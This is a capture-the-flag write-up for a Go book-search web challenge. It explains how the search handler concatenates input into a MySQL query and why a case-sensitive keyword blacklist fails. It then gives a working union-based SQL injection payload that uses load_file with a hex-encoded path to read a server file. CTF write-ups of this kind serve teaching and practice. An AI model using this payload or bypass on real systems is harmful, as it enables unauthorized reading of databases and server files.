Books Gallery
Challenge Description
Author : anakmamah
Lately, Pak Vincent has enjoyed reading books, but when he tried to search for a specific book, he realized that a feature was missing. He wondered why it had disappeared, especially since he was about to use it to find the book he wanted to read.
Flag
HOLOGY7{8uKu_@d41ah_J3nd3la_dUn1A_uW4W}
Analysis
We are given a full source-code of a website written in Go. Looking at the docker-compose.yml
file, we can see that the flag is stored on the database container meaning that we could use an SQL injection to solve this challenge. And also, the database for this challenge is using MySQL, so that could be important later on.
# snip
db:
image: mysql:8.0
container_name: books-galery-db
restart: always
environment:
- MYSQL_ROOT_PASSWORD=password
- MYSQL_USER=user
- MYSQL_PASSWORD=password
- MYSQL_DATABASE=books_galery
ports:
- "3306:3306"
volumes:
- ./flag.txt:/var/lib/mysql-files/flag.txt
- ./database/database.sql:/docker-entrypoint-initdb.d/database.sql
# snip
From the ShowBooks
controller, we can see that the parameters are concatenated to the query meaning that we could inject SQL statements to it. But, there is a SanitizeData
function that implement some sort of blacklisting.
// snip
func ShowBooks(db *sql.DB) gin.HandlerFunc {
searchQuery := c.Query("query")
searchQuery = lib.SanitizeData(searchQuery)
log.Printf("Search query: %s", searchQuery)
var rows *sql.Rows
var err error
if searchQuery != "" {
query := `
SELECT b.book_id, b.title, b.author, b.img_path
FROM books b
JOIN genres g ON b.genre_id = g.genre_id
WHERE b.title LIKE '%` + searchQuery + `%' OR b.author LIKE '%` + searchQuery + `%'`
rows, err = db.Query(query)
} else {
query := `SELECT b.book_id, b.title, b.author, b.img_path
FROM books b
JOIN genres g ON b.genre_id = g.genre_id`
rows, err = db.Query(query)
}
// snip
func SanitizeData(input string) string {
replacements := []struct {
old string
new string
}{
{"..", "x"},
{"--", "x"},
{"/*", "x"},
{"HAVING", "x"},
{"UNION", "x"},
{"SUBSTRING", "x"},
{"ASCII", "x"},
{"SHA1", "x"},
{"ROW_COUNT", "x"},
{"SELECT", "x"},
{"INSERT", "x"},
{"CASE WHEN", "x"},
{"INFORMATION_SCHEMA", "x"},
{"FILE", "x"},
{"DROP", "x"},
{"RLIKE", "x"},
{" IF ", "x"},
{" OR ", "x"},
{"CONCAT", "x"},
{"WHERE", "x"},
{"UPDATE", "x"},
{"or 1", "x"},
{"or 1=1", "x"},
{"flag", "x"},
{"txt", "x"},
{"or true", "x"},
{"=", ""},
{"+", "-"},
{"\\", "x"},
{"=$", "+$"},
{"+$", "=$"},
}
input = strings.TrimSpace(input)
for _, r := range replacements {
input = strings.ReplaceAll(input, r.old, r.new)
}
return input
}
One problem with the sanitization is that the replacement does not account for capitalization. Since SQL does not check for capitalization, the statement blacklists are useless. But, we still cannot use flag
or txt
as our input. Therefore, we can use encoding to bypass this blacklist.
Solution
The payload is a basic union-based SQL injection but we will open the flag.txt
file and output it on one of the rows.
' union select 1,load_file(unhex('2f7661722f6c69622f6d7973716c2d66696c65732f666c61672e747874')),1,1 from users %23
Then we just use that as our query
and the flag will be printed out!

Last updated